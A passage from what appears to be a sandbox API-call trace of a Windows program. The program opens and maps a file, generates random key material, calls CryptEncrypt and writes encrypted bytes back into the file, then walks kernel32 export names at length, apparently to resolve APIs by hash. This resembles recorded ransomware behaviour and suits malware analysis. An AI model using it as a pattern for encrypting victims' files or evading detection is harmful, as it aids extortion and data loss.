(lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0110.601] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=74214) returned 1 [0110.601] CreateFileMappingW (hFile=0x46c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x53c [0110.601] MapViewOfFile (hFileMappingObject=0x53c, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3b70000 [0110.872] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x3b60000 | out: pbBuffer=0x3b60000) returned 1 [0110.872] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x3b60020 | out: pbBuffer=0x3b60020) returned 1 [0110.872] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3b90000 [0111.409] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b90000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3b90000*, pdwDataLen=0x38be718*=0x100) returned 1 [0111.409] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3ba0000 [0111.587] VirtualFree (lpAddress=0x3ba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.588] UnmapViewOfFile (lpBaseAddress=0x3b70000) returned 1 [0111.589] CloseHandle (hObject=0x53c) returned 1 [0111.589] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.589] WriteFile (in: hFile=0x46c, lpBuffer=0x3b90000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3b90000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0111.590] CloseHandle (hObject=0x0) returned 0 [0111.590] CloseHandle (hObject=0x46c) returned 1 [0111.591] VirtualFree (lpAddress=0x3b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.592] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0111.592] GetTickCount () returned 0x31619 [0111.592] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0111.593] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0111.593] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x3b70000 [0111.593] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0111.593] lstrlenA (lpString="kernel32.dll") returned 12 [0111.593] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0111.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0111.594] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0111.594] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0111.594] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0111.594] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0111.594] lstrlenA (lpString="ADDATOMA") returned 8 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0111.594] lstrlenA (lpString="ADDATOMW") returned 8 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0111.594] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0111.594] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0111.594] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0111.594] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0111.594] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0111.594] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0111.594] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0111.594] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0111.594] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0111.594] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0111.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0111.594] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0111.595] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0111.595] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0111.595] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0111.595] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0111.595] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0111.595] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0111.595] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0111.595] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0111.595] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0111.595] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0111.595] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0111.595] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0111.595] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0111.595] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0111.595] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0111.595] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0111.596] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0111.596] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0111.596] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0111.596] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0111.596] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0111.596] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0111.596] lstrlenA (lpString="BACKUPREAD") returned 10 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0111.596] lstrlenA (lpString="BACKUPSEEK") returned 10 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0111.596] lstrlenA (lpString="BACKUPWRITE") returned 11 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0111.596] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0111.596] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0111.596] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0111.596] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0111.596] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0111.596] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0111.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0111.597] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0111.597] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0111.597] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0111.597] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0111.597] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0111.597] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0111.597] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0111.597] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0111.597] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0111.597] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0111.597] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0111.597] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0111.597] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0111.597] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0111.597] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0111.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0111.597] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0111.598] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0111.598] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0111.598] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0111.598] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0111.598] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0111.598] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0111.598] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0111.598] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0111.598] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0111.598] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0111.598] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0111.598] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0111.598] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0111.598] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0111.598] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0111.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0111.599] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0111.599] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0111.599] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0111.599] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0111.599] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0111.599] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0111.599] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0111.599] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0111.599] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0111.599] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0111.599] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0111.599] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0111.599] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0111.599] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0111.599] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0111.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0111.600] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0111.600] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0111.600] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0111.600] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0111.600] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0111.600] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0111.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0111.600] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0111.600] lstrcpyA (in: 